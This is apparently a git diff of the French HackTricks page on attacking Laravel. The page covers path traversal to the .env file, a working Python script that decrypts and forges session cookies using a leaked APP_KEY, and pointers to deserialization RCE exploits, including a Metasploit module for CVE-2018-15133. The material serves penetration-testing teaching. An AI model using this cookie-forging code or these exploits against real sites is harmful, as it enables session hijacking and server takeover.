* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -25,13 +25,13 @@ Cela est généralement nécessaire pour exploiter d'autres CVE de RCE Laravel.
|
|||
|
||||
### .env
|
||||
|
||||
Laravel enregistre l'APP qu'il utilise pour crypter les cookies et autres informations d'identification dans un fichier appelé `.env` qui peut être accédé en utilisant une certaine traversée de chemin sous : `/../.env`
|
||||
Laravel enregistre l'application qu'il utilise pour chiffrer les cookies et autres informations d'identification dans un fichier appelé `.env` qui peut être accédé en utilisant une certaine traversée de chemin sous : `/../.env`
|
||||
|
||||
Laravel affichera également ces informations dans la page de débogage (qui apparaît lorsque Laravel trouve une erreur et qu'elle est activée).
|
||||
|
||||
En utilisant la clé secrète APP\_KEY de Laravel, vous pouvez décrypter et ré-encrypter les cookies :
|
||||
|
||||
### Décrypter un cookie
|
||||
### Décrypter le cookie
|
||||
```python
|
||||
import os
|
||||
import json
|
||||
|
@ -47,42 +47,42 @@ from phpserialize import loads, dumps
|
|||
#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3
|
||||
|
||||
def mcrypt_decrypt(value, iv):
|
||||
global key
|
||||
AES.key_size = [len(key)]
|
||||
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
|
||||
return crypt_object.decrypt(value)
|
||||
global key
|
||||
AES.key_size = [len(key)]
|
||||
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
|
||||
return crypt_object.decrypt(value)
|
||||
|
||||
|
||||
def mcrypt_encrypt(value, iv):
|
||||
global key
|
||||
AES.key_size = [len(key)]
|
||||
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
|
||||
return crypt_object.encrypt(value)
|
||||
global key
|
||||
AES.key_size = [len(key)]
|
||||
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
|
||||
return crypt_object.encrypt(value)
|
||||
|
||||
|
||||
def decrypt(bstring):
|
||||
global key
|
||||
dic = json.loads(base64.b64decode(bstring).decode())
|
||||
mac = dic['mac']
|
||||
value = bytes(dic['value'], 'utf-8')
|
||||
iv = bytes(dic['iv'], 'utf-8')
|
||||
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
|
||||
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
|
||||
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
|
||||
return ''
|
||||
global key
|
||||
dic = json.loads(base64.b64decode(bstring).decode())
|
||||
mac = dic['mac']
|
||||
value = bytes(dic['value'], 'utf-8')
|
||||
iv = bytes(dic['iv'], 'utf-8')
|
||||
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
|
||||
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
|
||||
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
|
||||
return ''
|
||||
|
||||
|
||||
def encrypt(string):
|
||||
global key
|
||||
iv = os.urandom(16)
|
||||
#string = dumps(string)
|
||||
padding = 16 - len(string) % 16
|
||||
string += bytes(chr(padding) * padding, 'utf-8')
|
||||
value = base64.b64encode(mcrypt_encrypt(string, iv))
|
||||
iv = base64.b64encode(iv)
|
||||
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
|
||||
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
|
||||
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
|
||||
global key
|
||||
iv = os.urandom(16)
|
||||
#string = dumps(string)
|
||||
padding = 16 - len(string) % 16
|
||||
string += bytes(chr(padding) * padding, 'utf-8')
|
||||
value = base64.b64encode(mcrypt_encrypt(string, iv))
|
||||
iv = base64.b64encode(iv)
|
||||
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
|
||||
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
|
||||
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
|
||||
|
||||
app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
|
||||
key = base64.b64decode(app_key)
|
||||
|
@ -92,12 +92,12 @@ encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2
|
|||
```
|
||||
### Laravel Deserialization RCE
|
||||
|
||||
Versions vulnérables : 5.5.40 et 5.6.x à travers 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
|
||||
Versions vulnérables : 5.5.40 et 5.6.x à 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
|
||||
|
||||
Vous pouvez trouver des informations sur la vulnérabilité de désérialisation ici : [https://labs.f-secure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.f-secure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
|
||||
Vous pouvez trouver des informations sur la vulnérabilité de désérialisation ici : [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
|
||||
|
||||
Vous pouvez tester et exploiter cela en utilisant [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
|
||||
Ou vous pouvez également l'exploiter avec metasploit : `use unix/http/laravel_token_unserialize_exec`
|
||||
Vous pouvez tester et exploiter cette vulnérabilité en utilisant [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
|
||||
Ou vous pouvez également l'exploiter avec Metasploit : `use unix/http/laravel_token_unserialize_exec`
|
||||
|
||||
### CVE-2021-3129
|
||||
|
||||
|
@ -105,16 +105,16 @@ Une autre désérialisation : [https://github.com/ambionics/laravel-exploits](ht
|
|||
|
||||
### Laravel SQLInjection
|
||||
|
||||
Lire des informations à ce sujet ici : [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||||
Lisez des informations à ce sujet ici : [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Add table
Reference in a new issue